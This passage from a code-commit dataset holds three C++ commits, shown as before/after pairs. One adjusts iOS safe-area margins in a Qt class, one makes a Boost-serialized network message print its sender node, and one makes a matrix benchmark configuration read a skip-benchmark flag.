<< \"IPADPRO 12.9\";\n        break;\n    case 2224:\n        mMyDevice = MyDevice::IPADPRO_105;\n        qDebug() << \"Device detected: \" << \"IPADPRO 10.5\";\n        break;\n    case 2048:\n        mMyDevice = MyDevice::IPADPRO_97_AIR_MINI;\n        qDebug() << \"Device detected: \" << \"IPADPRO 9.7, Air 2, Mini4\";\n        break;\n    default:\n        mMyDevice = MyDevice::OTHER;\n        qDebug() << \"Device detected: \" << \"OTHER\";\n    }\n}\n\nbool UnsafeArea::isKnownIPhone() {\n    switch (mMyDevice) {\n    case MyDevice::IPHONE_X_XS:\n    case MyDevice::IPHONE_XSMAX:\n    case MyDevice::IPHONE_XR:\n    case MyDevice::IPHONE_5_5S_5C:\n    case MyDevice::IPHONE_6_6S_7_8:\n    case MyDevice::IPHONE_6PLUS_6SPLUS_7PLUS_8PLUS:\n        qDebug() << \"isKnownIPhone\";\n        return true;\n    default:\n        break;\n    }\n    return false;\n}\n\nbool UnsafeArea::isKnownIPad() {\n    switch (mMyDevice) {\n    case MyDevice::IPADPRO_97_AIR_MINI:\n    case MyDevice::IPADPRO_105:\n    case MyDevice::IPADPRO_129:\n        qDebug() << \"isKnownIPad\";\n        return true;\n    default:\n        break;\n    }\n    return false;\n}\n\nvoid UnsafeArea::orientationChanged(int orientation)\n{\n    qDebug() << \"orientationChanged: \" << orientation;\n    if(orientation == 1) {\n        qDebug() << \"PORTRAIT\";\n        portrait();\n    } else if(orientation == 2) {\n        qDebug() << \"LANDSCAPE LEFT (HomeButton right)\";\n        landscapeLeft();\n    } else if(orientation == 8) {\n        qDebug() << \"LANDSCAPE RIGHT (HomeButton left)\";\n        landscapeRight();\n    } else {\n        qWarning() << \"unsupported Orientation: \" << orientation;\n    }\n}\n\nvoid UnsafeArea::portrait()\n{\n    switch (mMyDevice) {\n    case MyDevice::IPHONE_X_XS:\n    case MyDevice::IPHONE_XSMAX:\n    case MyDevice::IPHONE_XR:\n        setUnsafeTopMargin(24);\n        setUnsafeBottomMargin(8);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(0);\n        break;\n    case MyDevice::IPHONE_5_5S_5C:\n    case MyDevice::IPHONE_6_6S_7_8:\n    case MyDevice::IPHONE_6PLUS_6SPLUS_7PLUS_8PLUS:\n        setUnsafeTopMargin(16);\n        setUnsafeBottomMargin(0);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(0);\n        break;\n    case MyDevice::IPADPRO_97_AIR_MINI:\n    case MyDevice::IPADPRO_105:\n    case MyDevice::IPADPRO_129:\n        setUnsafeTopMargin(16);\n        setUnsafeBottomMargin(0);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(0);\n        break;\n    default:\n        break;\n    }\n}\n\n\/\/ HomeButton right\nvoid UnsafeArea::landscapeLeft()\n{\n    switch (mMyDevice) {\n    case MyDevice::IPHONE_X_XS:\n    case MyDevice::IPHONE_XSMAX:\n    case MyDevice::IPHONE_XR:\n        setUnsafeTopMargin(0);\n        setUnsafeBottomMargin(8);\n        setUnsafeLeftMargin(30);\n        setUnsafeRightMargin(0);\n        break;\n    case MyDevice::IPHONE_5_5S_5C:\n    case MyDevice::IPHONE_6_6S_7_8:\n    case MyDevice::IPHONE_6PLUS_6SPLUS_7PLUS_8PLUS:\n        setUnsafeTopMargin(10);\n        setUnsafeBottomMargin(0);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(0);\n        break;\n    case MyDevice::IPADPRO_97_AIR_MINI:\n    case MyDevice::IPADPRO_105:\n    case MyDevice::IPADPRO_129:\n        setUnsafeTopMargin(10);\n        setUnsafeBottomMargin(0);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(0);\n        break;\n    default:\n        break;\n    }\n}\n\n\/\/ HomeButton left\nvoid UnsafeArea::landscapeRight()\n{\n    switch (mMyDevice) {\n    case MyDevice::IPHONE_X_XS:\n    case MyDevice::IPHONE_XSMAX:\n    case MyDevice::IPHONE_XR:\n        setUnsafeTopMargin(0);\n        setUnsafeBottomMargin(8);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(30);\n        break;\n    case MyDevice::IPHONE_5_5S_5C:\n    case MyDevice::IPHONE_6_6S_7_8:\n    case MyDevice::IPHONE_6PLUS_6SPLUS_7PLUS_8PLUS:\n        setUnsafeTopMargin(10);\n        setUnsafeBottomMargin(0);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(0);\n        break;\n    case MyDevice::IPADPRO_97_AIR_MINI:\n    case MyDevice::IPADPRO_105:\n    case MyDevice::IPADPRO_129:\n        setUnsafeTopMargin(10);\n        setUnsafeBottomMargin(0);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(0);\n        break;\n    default:\n        break;\n    }\n}\n\nint UnsafeArea::unsafeTopMargin() const\n{\n    return mUnsafeTopMargin;\n}\n\nint UnsafeArea::unsafeBottomMargin() const\n{\n    return mUnsafeBottomMargin;\n}\n\nint UnsafeArea::unsafeLeftMargin() const\n{\n    return mUnsafeLeftMargin;\n}\n\nint UnsafeArea::unsafeRightMargin() const\n{\n    return mUnsafeRightMargin;\n}\n\nvoid UnsafeArea::setUnsafeTopMargin(int unsafeTopMargin)\n{\n    if (mUnsafeTopMargin == unsafeTopMargin)\n        return;\n    mUnsafeTopMargin = unsafeTopMargin;\n    emit unsafeTopMarginChanged(mUnsafeTopMargin);\n}\nvoid UnsafeArea::setUnsafeBottomMargin(int unsafeBottomMargin)\n{\n    if (mUnsafeBottomMargin == unsafeBottomMargin)\n        return;\n    mUnsafeBottomMargin = unsafeBottomMargin;\n    emit unsafeBottomMarginChanged(mUnsafeBottomMargin);\n}\nvoid UnsafeArea::setUnsafeLeftMargin(int unsafeLeftMargin)\n{\n    if (mUnsafeLeftMargin == unsafeLeftMargin)\n        return;\n    mUnsafeLeftMargin = unsafeLeftMargin;\n    emit unsafeLeftMarginChanged(mUnsafeLeftMargin);\n}\nvoid UnsafeArea::setUnsafeRightMargin(int unsafeRightMargin)\n{\n    if (mUnsafeRightMargin == unsafeRightMargin)\n        return;\n    mUnsafeRightMargin = unsafeRightMargin;\n    emit unsafeRightMarginChanged(mUnsafeRightMargin);\n}\n\nUnsafeArea::~UnsafeArea()\n{\n    \/\/ place cleanUp code here\n}\n<commit_msg>comment<commit_after>#include \"unsafearea.hpp\"\n\n#include <QDebug>\n\nUnsafeArea::UnsafeArea(QObject *parent) :\n    QObject(parent), mUnsafeTopMargin(0), mUnsafeBottomMargin(0), mUnsafeLeftMargin(0), mUnsafeRightMargin(0), mMyDevice(MyDevice::OTHER)\n{ \n\n}\n\n\/\/ https:\/\/bugreports.qt.io\/browse\/QTBUG-64574\n\/\/ I O S sizes to detect the device type\n\/\/ https:\/\/stackoverflow.com\/questions\/46192280\/detect-if-the-device-is-iphone-x\n\/\/ 1136 iPhone 5, 5S, 5C\n\/\/ 1334 iPhone 6\/6S\/7\/8\n\/\/ 1920,2208 iPhone 6+\/6S+\/7+\/8+\n\/\/ 2436 iPhone X, Xs\n\/\/ 2688 iPhone Xs Max\n\/\/ 1792 iPhone Xr\n\/\/ https:\/\/developer.apple.com\/library\/archive\/documentation\/DeviceInformation\/Reference\/iOSDeviceCompatibility\/Displays\/Displays.html\n\/\/ attention: all sizes are UIKIT SIZES not NATIVE PIXEL\nvoid UnsafeArea::configureDevice(int height, int width, int devicePixelRatio)\n{\n    qDebug() << \"UNSAFE AREAS ? configureDevice - height: \" << height << \" width: \" << width << \" devicePixelRatio: \" << devicePixelRatio;\n    int portraitHeightPixel = 0;\n    if(height > width) {\n        portraitHeightPixel = height*devicePixelRatio;\n    } else {\n        portraitHeightPixel = width*devicePixelRatio;\n    }\n    switch (portraitHeightPixel) {\n    case 1136:\n        mMyDevice = MyDevice::IPHONE_5_5S_5C;\n        qDebug() << \"Device detected: \" << \"IPHONE_5_5S_5C\";\n        break;\n    case 1334:\n        mMyDevice = MyDevice::IPHONE_6_6S_7_8;\n        qDebug() << \"Device detected: \" << \"IPHONE_6_6S_7_8\";\n        break;\n    case 1920:\n    case 2208:\n        mMyDevice = MyDevice::IPHONE_6PLUS_6SPLUS_7PLUS_8PLUS;\n        qDebug() << \"Device detected: \" << \"IPHONE_6PLUS_6SPLUS_7PLUS_8PLUS\";\n        break;\n    case 2436:\n        mMyDevice = MyDevice::IPHONE_X_XS;\n        qDebug() << \"Device detected: \" << \"IPHONE_X_XS\";\n        break;\n    case 2688:\n        mMyDevice = MyDevice::IPHONE_XSMAX;\n        qDebug() << \"Device detected: \" << \"IPHONE_XSMAX\";\n        break;\n    case 1792:\n        mMyDevice = MyDevice::IPHONE_XR;\n        qDebug() << \"Device detected: \" << \"IPHONE_XR\";\n        break;\n    case 2732:\n        mMyDevice = MyDevice::IPADPRO_129;\n        qDebug() << \"Device detected: \" << \"IPADPRO 12.9\";\n        break;\n    case 2224:\n        mMyDevice = MyDevice::IPADPRO_105;\n        qDebug() << \"Device detected: \" << \"IPADPRO 10.5\";\n        break;\n    case 2048:\n        mMyDevice = MyDevice::IPADPRO_97_AIR_MINI;\n        qDebug() << \"Device detected: \" << \"IPADPRO 9.7, Air 2, Mini4\";\n        break;\n    default:\n        mMyDevice = MyDevice::OTHER;\n        qDebug() << \"Device detected: \" << \"OTHER\";\n    }\n}\n\nbool UnsafeArea::isKnownIPhone() {\n    switch (mMyDevice) {\n    case MyDevice::IPHONE_X_XS:\n    case MyDevice::IPHONE_XSMAX:\n    case MyDevice::IPHONE_XR:\n    case MyDevice::IPHONE_5_5S_5C:\n    case MyDevice::IPHONE_6_6S_7_8:\n    case MyDevice::IPHONE_6PLUS_6SPLUS_7PLUS_8PLUS:\n        qDebug() << \"isKnownIPhone\";\n        return true;\n    default:\n        break;\n    }\n    return false;\n}\n\nbool UnsafeArea::isKnownIPad() {\n    switch (mMyDevice) {\n    case MyDevice::IPADPRO_97_AIR_MINI:\n    case MyDevice::IPADPRO_105:\n    case MyDevice::IPADPRO_129:\n        qDebug() << \"isKnownIPad\";\n        return true;\n    default:\n        break;\n    }\n    return false;\n}\n\nvoid UnsafeArea::orientationChanged(int orientation)\n{\n    qDebug() << \"orientationChanged: \" << orientation;\n    if(orientation == 1) {\n        qDebug() << \"PORTRAIT\";\n        portrait();\n    } else if(orientation == 2) {\n        qDebug() << \"LANDSCAPE LEFT (HomeButton right)\";\n        landscapeLeft();\n    } else if(orientation == 8) {\n        qDebug() << \"LANDSCAPE RIGHT (HomeButton left)\";\n        landscapeRight();\n    } else {\n        qWarning() << \"unsupported Orientation: \" << orientation;\n    }\n}\n\nvoid UnsafeArea::portrait()\n{\n    switch (mMyDevice) {\n    case MyDevice::IPHONE_X_XS:\n    case MyDevice::IPHONE_XSMAX:\n    case MyDevice::IPHONE_XR:\n        setUnsafeTopMargin(24);\n        setUnsafeBottomMargin(8);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(0);\n        break;\n    case MyDevice::IPHONE_5_5S_5C:\n    case MyDevice::IPHONE_6_6S_7_8:\n    case MyDevice::IPHONE_6PLUS_6SPLUS_7PLUS_8PLUS:\n        setUnsafeTopMargin(16);\n        setUnsafeBottomMargin(0);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(0);\n        break;\n    case MyDevice::IPADPRO_97_AIR_MINI:\n    case MyDevice::IPADPRO_105:\n    case MyDevice::IPADPRO_129:\n        setUnsafeTopMargin(16);\n        setUnsafeBottomMargin(0);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(0);\n        break;\n    default:\n        break;\n    }\n}\n\n\/\/ HomeButton right\nvoid UnsafeArea::landscapeLeft()\n{\n    switch (mMyDevice) {\n    case MyDevice::IPHONE_X_XS:\n    case MyDevice::IPHONE_XSMAX:\n    case MyDevice::IPHONE_XR:\n        setUnsafeTopMargin(0);\n        setUnsafeBottomMargin(8);\n        setUnsafeLeftMargin(30);\n        setUnsafeRightMargin(0);\n        break;\n    case MyDevice::IPHONE_5_5S_5C:\n    case MyDevice::IPHONE_6_6S_7_8:\n    case MyDevice::IPHONE_6PLUS_6SPLUS_7PLUS_8PLUS:\n        setUnsafeTopMargin(10);\n        setUnsafeBottomMargin(0);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(0);\n        break;\n    case MyDevice::IPADPRO_97_AIR_MINI:\n    case MyDevice::IPADPRO_105:\n    case MyDevice::IPADPRO_129:\n        setUnsafeTopMargin(10);\n        setUnsafeBottomMargin(0);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(0);\n        break;\n    default:\n        break;\n    }\n}\n\n\/\/ HomeButton left\nvoid UnsafeArea::landscapeRight()\n{\n    switch (mMyDevice) {\n    case MyDevice::IPHONE_X_XS:\n    case MyDevice::IPHONE_XSMAX:\n    case MyDevice::IPHONE_XR:\n        setUnsafeTopMargin(0);\n        setUnsafeBottomMargin(8);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(30);\n        break;\n    case MyDevice::IPHONE_5_5S_5C:\n    case MyDevice::IPHONE_6_6S_7_8:\n    case MyDevice::IPHONE_6PLUS_6SPLUS_7PLUS_8PLUS:\n        setUnsafeTopMargin(10);\n        setUnsafeBottomMargin(0);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(0);\n        break;\n    case MyDevice::IPADPRO_97_AIR_MINI:\n    case MyDevice::IPADPRO_105:\n    case MyDevice::IPADPRO_129:\n        setUnsafeTopMargin(10);\n        setUnsafeBottomMargin(0);\n        setUnsafeLeftMargin(0);\n        setUnsafeRightMargin(0);\n        break;\n    default:\n        break;\n    }\n}\n\nint UnsafeArea::unsafeTopMargin() const\n{\n    return mUnsafeTopMargin;\n}\n\nint UnsafeArea::unsafeBottomMargin() const\n{\n    return mUnsafeBottomMargin;\n}\n\nint UnsafeArea::unsafeLeftMargin() const\n{\n    return mUnsafeLeftMargin;\n}\n\nint UnsafeArea::unsafeRightMargin() const\n{\n    return mUnsafeRightMargin;\n}\n\nvoid UnsafeArea::setUnsafeTopMargin(int unsafeTopMargin)\n{\n    if (mUnsafeTopMargin == unsafeTopMargin)\n        return;\n    mUnsafeTopMargin = unsafeTopMargin;\n    emit unsafeTopMarginChanged(mUnsafeTopMargin);\n}\nvoid UnsafeArea::setUnsafeBottomMargin(int unsafeBottomMargin)\n{\n    if (mUnsafeBottomMargin == unsafeBottomMargin)\n        return;\n    mUnsafeBottomMargin = unsafeBottomMargin;\n    emit unsafeBottomMarginChanged(mUnsafeBottomMargin);\n}\nvoid UnsafeArea::setUnsafeLeftMargin(int unsafeLeftMargin)\n{\n    if (mUnsafeLeftMargin == unsafeLeftMargin)\n        return;\n    mUnsafeLeftMargin = unsafeLeftMargin;\n    emit unsafeLeftMarginChanged(mUnsafeLeftMargin);\n}\nvoid UnsafeArea::setUnsafeRightMargin(int unsafeRightMargin)\n{\n    if (mUnsafeRightMargin == unsafeRightMargin)\n        return;\n    mUnsafeRightMargin = unsafeRightMargin;\n    emit unsafeRightMarginChanged(mUnsafeRightMargin);\n}\n\nUnsafeArea::~UnsafeArea()\n{\n    \/\/ place cleanUp code here\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <sys\/time.h>\n\n#include <boost\/archive\/text_iarchive.hpp>\n#include <boost\/archive\/text_oarchive.hpp>\n#include <boost\/archive\/binary_iarchive.hpp>\n#include <boost\/archive\/binary_oarchive.hpp>\n#include <boost\/serialization\/export.hpp>\n\n#include \"watcherGlobalFunctions.h\"     \/\/ for NodeIdentifier::serialize()\n#include \"message.h\"\n\nusing namespace std;\n\nnamespace watcher {\n    namespace event {\n        INIT_LOGGER(Message, \"Message\");\n\n\n        Message::Message() : version(0), type(UNKNOWN_MESSAGE_TYPE), timestamp(0)\n        {\n            TRACE_ENTER();\n            struct timeval tp;\n            gettimeofday(&tp, NULL);\n            timestamp = (long long int)tp.tv_sec * 1000 + (long long int)tp.tv_usec\/1000;\n            TRACE_EXIT(); \n        }\n\n        Message::Message(const MessageType &t, const unsigned int v) : \n            version(v), type(t), timestamp(0)\n        {\n            TRACE_ENTER();\n            struct timeval tp;\n            gettimeofday(&tp, NULL);\n            timestamp = (long long int)tp.tv_sec * 1000 + (long long int)tp.tv_usec\/1000;\n            TRACE_EXIT();\n        }\n\n        Message::Message(const Message &other) :\n            version(other.version), type(other.type), timestamp(other.timestamp)\n        {\n            TRACE_ENTER();\n            TRACE_EXIT();\n        }\n\n        Message::~Message()\n        {\n            TRACE_ENTER();\n            TRACE_EXIT();\n        }\n\n        bool Message::operator==(const Message &other) const\n        {\n            TRACE_ENTER();\n            bool retVal = version==other.version && type==other.type;\n            TRACE_EXIT_RET(retVal);\n            return retVal;\n        }\n\n        Message &Message::operator=(const Message &other)\n        {\n            TRACE_ENTER();\n            version=other.version;\n            type=other.type;\n            timestamp=other.timestamp;\n            TRACE_EXIT();\n            return *this;\n        }\n\n        \/\/ virtual \n        std::ostream &Message::toStream(std::ostream &out) const\n        {\n            TRACE_ENTER();\n            out << \" version: \" << version << \" type: \" << type << \" time: \" << timestamp << \" \"; \n            TRACE_EXIT();\n            return out;\n        }\n\n        ostream& operator<<(ostream &out, const Message &mess)\n        {\n            TRACE_ENTER();\n            mess.operator<<(out);\n            TRACE_EXIT();\n            return out;\n        }\n\n        template <typename Archive> void Message::serialize(Archive & ar, const unsigned int \/* file_version *\/)\n        {\n            TRACE_ENTER();\n            ar & version;\n            ar & type;\n            ar & timestamp;\n            ar & fromNodeID;\n            TRACE_EXIT();\n        }\n\n        MessagePtr Message::unpack(std::istream& is)\n        {\n            boost::archive::text_iarchive ia(is);\n            Message* ret = 0;\n            try\n            {\n                ia >> ret;\n            }\n            catch (boost::archive::archive_exception& e)\n            {\n                LOG_WARN(\"Exception thrown while serializing the message: \" << e.what());\n                return MessagePtr();\n            }\n            return MessagePtr(ret); \n        }\n\n        void Message::pack(std::ostream& os) const\n        {\n            TRACE_ENTER();\n            boost::archive::text_oarchive oa(os);\n            const Message* base = this;\n            oa << base;\n            TRACE_EXIT();\n        }\n    }\n}\n\nBOOST_CLASS_EXPORT(watcher::event::Message);\n<commit_msg>message: print fromNodeId in toStream().<commit_after>#include <sys\/time.h>\n\n#include <boost\/archive\/text_iarchive.hpp>\n#include <boost\/archive\/text_oarchive.hpp>\n#include <boost\/archive\/binary_iarchive.hpp>\n#include <boost\/archive\/binary_oarchive.hpp>\n#include <boost\/serialization\/export.hpp>\n\n#include \"watcherGlobalFunctions.h\"     \/\/ for NodeIdentifier::serialize()\n#include \"message.h\"\n\nusing namespace std;\n\nnamespace watcher {\n    namespace event {\n        INIT_LOGGER(Message, \"Message\");\n\n\n        Message::Message() : version(0), type(UNKNOWN_MESSAGE_TYPE), timestamp(0)\n        {\n            TRACE_ENTER();\n            struct timeval tp;\n            gettimeofday(&tp, NULL);\n            timestamp = (long long int)tp.tv_sec * 1000 + (long long int)tp.tv_usec\/1000;\n            TRACE_EXIT(); \n        }\n\n        Message::Message(const MessageType &t, const unsigned int v) : \n            version(v), type(t), timestamp(0)\n        {\n            TRACE_ENTER();\n            struct timeval tp;\n            gettimeofday(&tp, NULL);\n            timestamp = (long long int)tp.tv_sec * 1000 + (long long int)tp.tv_usec\/1000;\n            TRACE_EXIT();\n        }\n\n        Message::Message(const Message &other) :\n            version(other.version), type(other.type), timestamp(other.timestamp)\n        {\n            TRACE_ENTER();\n            TRACE_EXIT();\n        }\n\n        Message::~Message()\n        {\n            TRACE_ENTER();\n            TRACE_EXIT();\n        }\n\n        bool Message::operator==(const Message &other) const\n        {\n            TRACE_ENTER();\n            bool retVal = version==other.version && type==other.type;\n            TRACE_EXIT_RET(retVal);\n            return retVal;\n        }\n\n        Message &Message::operator=(const Message &other)\n        {\n            TRACE_ENTER();\n            version=other.version;\n            type=other.type;\n            timestamp=other.timestamp;\n            TRACE_EXIT();\n            return *this;\n        }\n\n        \/\/ virtual \n        std::ostream &Message::toStream(std::ostream &out) const\n        {\n            TRACE_ENTER();\n            out << \"from: \" << fromNodeID << \" version: \" << version << \" type: \" << type << \" time: \" << timestamp << \" \"; \n            TRACE_EXIT();\n            return out;\n        }\n\n        ostream& operator<<(ostream &out, const Message &mess)\n        {\n            TRACE_ENTER();\n            mess.operator<<(out);\n            TRACE_EXIT();\n            return out;\n        }\n\n        template <typename Archive> void Message::serialize(Archive & ar, const unsigned int \/* file_version *\/)\n        {\n            TRACE_ENTER();\n            ar & version;\n            ar & type;\n            ar & timestamp;\n            ar & fromNodeID;\n            TRACE_EXIT();\n        }\n\n        MessagePtr Message::unpack(std::istream& is)\n        {\n            boost::archive::text_iarchive ia(is);\n            Message* ret = 0;\n            try\n            {\n                ia >> ret;\n            }\n            catch (boost::archive::archive_exception& e)\n            {\n                LOG_WARN(\"Exception thrown while serializing the message: \" << e.what());\n                return MessagePtr();\n            }\n            return MessagePtr(ret); \n        }\n\n        void Message::pack(std::ostream& os) const\n        {\n            TRACE_ENTER();\n            boost::archive::text_oarchive oa(os);\n            const Message* base = this;\n            oa << base;\n            TRACE_EXIT();\n        }\n    }\n}\n\nBOOST_CLASS_EXPORT(watcher::event::Message);\n<|endoftext|>"}
{"text":"<commit_before>#include \"Configuration.h\"\n#include \"CudaElfFactory.h\"\n#include \"SMPElfFactory.h\"\n#include <matrix\/Matrix.h>\n#include <matrix\/MatrixHelper.h>\n\n#include <stdexcept>\n#include <cstdlib>\n#include <iostream>\n#include <fstream>\n\n#include <boost\/program_options.hpp>\n\nusing namespace std;\n\nConfiguration::Configuration(int argc, char** argv)\n    : argc(argc), _useFiles(false), arguments(argv), programName(argv[0]), _category(\"matrix\")\n{\n\n}\n\nbool Configuration::parseArguments()\n{\n    namespace po = boost::program_options;\n    po::options_description desc(\"Options\");\n\n    try\n    {\n        desc.add_options()\n            (\"help\", \"Print help message\")\n            (\"mode,m\",               po::value<string>(&_mode)->required(), \"Mode (smp|cuda)\")\n            (\"numwarmups,w\",         po::value<size_t>(&_numberOfWarmUps)->default_value(50), \"Number of warmup rounds\")\n            (\"numiter,n\",            po::value<size_t>(&_numberOfIterations)->default_value(100), \"Number of benchmark iterations\")\n            (\"input,i\",              po::value<string>(&_inputFile), \"Input file\")\n            (\"output,o\",             po::value<string>(&_outputFile), \"Output file\")\n            (\"export_configuration\", po::value<string>(&_exportConfigurationFile), \"Measure cluster and export configuration\")\n            (\"import_configuration\", po::value<string>(&_importConfigurationFile), \"Run benchmark with given configuration\")\n            (\"skip_benchmark\",       \"Skip the benchmark run\")\n            (\"left_rows\",            po::value<size_t>(&_leftMatrixRows)->default_value(500), \"Number of left rows to be generated (overridden for benchmark by input file)\")\n            (\"common_rows_columns\",  po::value<size_t>(&_commonMatrixRowsColumns)->default_value(500), \"Number of left columns \/ right rows to be generated (overridden for benchmark by input file)\")\n            (\"right_columns\",        po::value<size_t>(&_rightMatrixColumns)->default_value(500), \"Number of right columns to be generated (overridden for benchmark by input file)\");\n\n        po::variables_map vm;\n        po::store(po::parse_command_line(argc, arguments, desc), vm);\n\n        if(vm.count(\"help\") || argc == 1)\n        {\n            cout << \"Dwarf Mine Benchmark\" << endl << desc << endl;\n            return false;\n        }\n\n        po::notify(vm);\n\n        if(vm.count(\"input\") ^ vm.count(\"output\"))\n            throw logic_error(\"Both input and output are needed, if one is given\");\n\n        if(vm.count(\"input\") && vm.count(\"output\"))\n           _useFiles = true;\n\n        if(vm.count(\"mode\") && (_mode != \"smp\" && _mode != \"cuda\"))\n            throw logic_error(\"Mode must be smp or cuda\");\n\n    }\n    catch(const po::error& e)\n    {\n        cerr << desc << endl;\n        throw;\n    }\n\n    return true;\n}\n\nunique_ptr<ProblemStatement> generateProblemStatement(string elfCategory, size_t leftRows, size_t commonRowsColumns, size_t rightColumns)\n{\n    auto statement = unique_ptr<ProblemStatement>(new ProblemStatement(elfCategory));\n    Matrix<float> left(leftRows, commonRowsColumns);\n    Matrix<float> right(commonRowsColumns, rightColumns);\n    auto distribution = uniform_real_distribution<float> (-100, +100);\n    auto engine = mt19937(time(nullptr));\n    auto generator = bind(distribution, engine);\n    MatrixHelper::fill(left, generator);\n    MatrixHelper::fill(right, generator);\n    MatrixHelper::writeMatrixTo(*(statement->input), left);\n    MatrixHelper::writeMatrixTo(*(statement->input), right);\n    return statement;\n}\n\nunique_ptr<ProblemStatement> Configuration::getProblemStatement(bool forceGenerated)\n{\n\n    if(!_useFiles || forceGenerated)\n    {\n        return generateProblemStatement(_category, _leftMatrixRows, _commonMatrixRowsColumns, _rightMatrixColumns);\n    }\n    return unique_ptr<ProblemStatement>(new ProblemStatement(getElfCategory(), _inputFile, _outputFile));\n}\n\nunique_ptr<ElfFactory> Configuration::getElfFactory()\n{\n    return createElfFactory(_mode, getElfCategory());\n}\n\nsize_t Configuration::getNumberOfIterations()\n{\n    return _numberOfIterations;\n}\n\nsize_t Configuration::getNumberOfWarmUps()\n{\n    return _numberOfWarmUps;\n}\n\nstring Configuration::getElfCategory() const\n{\n    return _category;\n}\n\nbool Configuration::exportConfiguration() const\n{\n    return _exportConfigurationFile != \"\";\n}\n\nbool Configuration::importConfiguration() const\n{\n    return _importConfigurationFile != \"\";\n}\n\nbool Configuration::skipBenchmark() const\n{\n    return _skipBenchmark;\n}\n\nstd::string Configuration::getExportConfigurationFilename() const\n{\n    return _exportConfigurationFile;\n}\n\nstd::string Configuration::getImportConfigurationFilename() const\n{\n    return _importConfigurationFile;\n}\n\nstd::ostream& operator<<(std::ostream& s, const Configuration& c)\n{\n    s   << \"Configuation: \"\n        << \"\\n\\tMode: \"<< c._mode\n        << \"\\n\\tWarmUps: \" << c._numberOfWarmUps\n        << \"\\n\\tIterations: \" << c._numberOfIterations;\n    if (c._useFiles)\n    {\n        s   << \"\\n\\tInput: \" << c._inputFile\n            << \"\\n\\tOutput: \" << c._outputFile;\n    }\n    else\n    {\n        s   << \"\\n\\tMatrices: (\"<<c._leftMatrixRows<<\" x \"<<c._commonMatrixRowsColumns<<\") x (\"<<c._commonMatrixRowsColumns<<\" x \"<<c._rightMatrixColumns<<\")\";\n    }\n    return s;\n}\n<commit_msg>configuration now checks the --skip_benchmark flag<commit_after>#include \"Configuration.h\"\n#include \"CudaElfFactory.h\"\n#include \"SMPElfFactory.h\"\n#include <matrix\/Matrix.h>\n#include <matrix\/MatrixHelper.h>\n\n#include <stdexcept>\n#include <cstdlib>\n#include <iostream>\n#include <fstream>\n\n#include <boost\/program_options.hpp>\n\nusing namespace std;\n\nConfiguration::Configuration(int argc, char** argv)\n    : argc(argc), _useFiles(false), arguments(argv), programName(argv[0]), _category(\"matrix\")\n{\n\n}\n\nbool Configuration::parseArguments()\n{\n    namespace po = boost::program_options;\n    po::options_description desc(\"Options\");\n\n    try\n    {\n        desc.add_options()\n            (\"help\", \"Print help message\")\n            (\"mode,m\",               po::value<string>(&_mode)->required(), \"Mode (smp|cuda)\")\n            (\"numwarmups,w\",         po::value<size_t>(&_numberOfWarmUps)->default_value(50), \"Number of warmup rounds\")\n            (\"numiter,n\",            po::value<size_t>(&_numberOfIterations)->default_value(100), \"Number of benchmark iterations\")\n            (\"input,i\",              po::value<string>(&_inputFile), \"Input file\")\n            (\"output,o\",             po::value<string>(&_outputFile), \"Output file\")\n            (\"export_configuration\", po::value<string>(&_exportConfigurationFile), \"Measure cluster and export configuration\")\n            (\"import_configuration\", po::value<string>(&_importConfigurationFile), \"Run benchmark with given configuration\")\n            (\"skip_benchmark\",       \"Skip the benchmark run\")\n            (\"left_rows\",            po::value<size_t>(&_leftMatrixRows)->default_value(500), \"Number of left rows to be generated (overridden for benchmark by input file)\")\n            (\"common_rows_columns\",  po::value<size_t>(&_commonMatrixRowsColumns)->default_value(500), \"Number of left columns \/ right rows to be generated (overridden for benchmark by input file)\")\n            (\"right_columns\",        po::value<size_t>(&_rightMatrixColumns)->default_value(500), \"Number of right columns to be generated (overridden for benchmark by input file)\");\n\n        po::variables_map vm;\n        po::store(po::parse_command_line(argc, arguments, desc), vm);\n\n        if(vm.count(\"help\") || argc == 1)\n        {\n            cout << \"Dwarf Mine Benchmark\" << endl << desc << endl;\n            return false;\n        }\n\n        po::notify(vm);\n\n        if(vm.count(\"input\") ^ vm.count(\"output\"))\n            throw logic_error(\"Both input and output are needed, if one is given\");\n\n        if(vm.count(\"input\") && vm.count(\"output\"))\n           _useFiles = true;\n\n        if(vm.count(\"mode\") && (_mode != \"smp\" && _mode != \"cuda\"))\n            throw logic_error(\"Mode must be smp or cuda\");\n\n        _skipBenchmark = vm.count(\"skip_benchmark\") > 0;\n\n    }\n    catch(const po::error& e)\n    {\n        cerr << desc << endl;\n        throw;\n    }\n\n    return true;\n}\n\nunique_ptr<ProblemStatement> generateProblemStatement(string elfCategory, size_t leftRows, size_t commonRowsColumns, size_t rightColumns)\n{\n    auto statement = unique_ptr<ProblemStatement>(new ProblemStatement(elfCategory));\n    Matrix<float> left(leftRows, commonRowsColumns);\n    Matrix<float> right(commonRowsColumns, rightColumns);\n    auto distribution = uniform_real_distribution<float> (-100, +100);\n    auto engine = mt19937(time(nullptr));\n    auto generator = bind(distribution, engine);\n    MatrixHelper::fill(left, generator);\n    MatrixHelper::fill(right, generator);\n    MatrixHelper::writeMatrixTo(*(statement->input), left);\n    MatrixHelper::writeMatrixTo(*(statement->input), right);\n    return statement;\n}\n\nunique_ptr<ProblemStatement> Configuration::getProblemStatement(bool forceGenerated)\n{\n\n    if(!_useFiles || forceGenerated)\n    {\n        return generateProblemStatement(_category, _leftMatrixRows, _commonMatrixRowsColumns, _rightMatrixColumns);\n    }\n    return unique_ptr<ProblemStatement>(new ProblemStatement(getElfCategory(), _inputFile, _outputFile));\n}\n\nunique_ptr<ElfFactory> Configuration::getElfFactory()\n{\n    return createElfFactory(_mode, 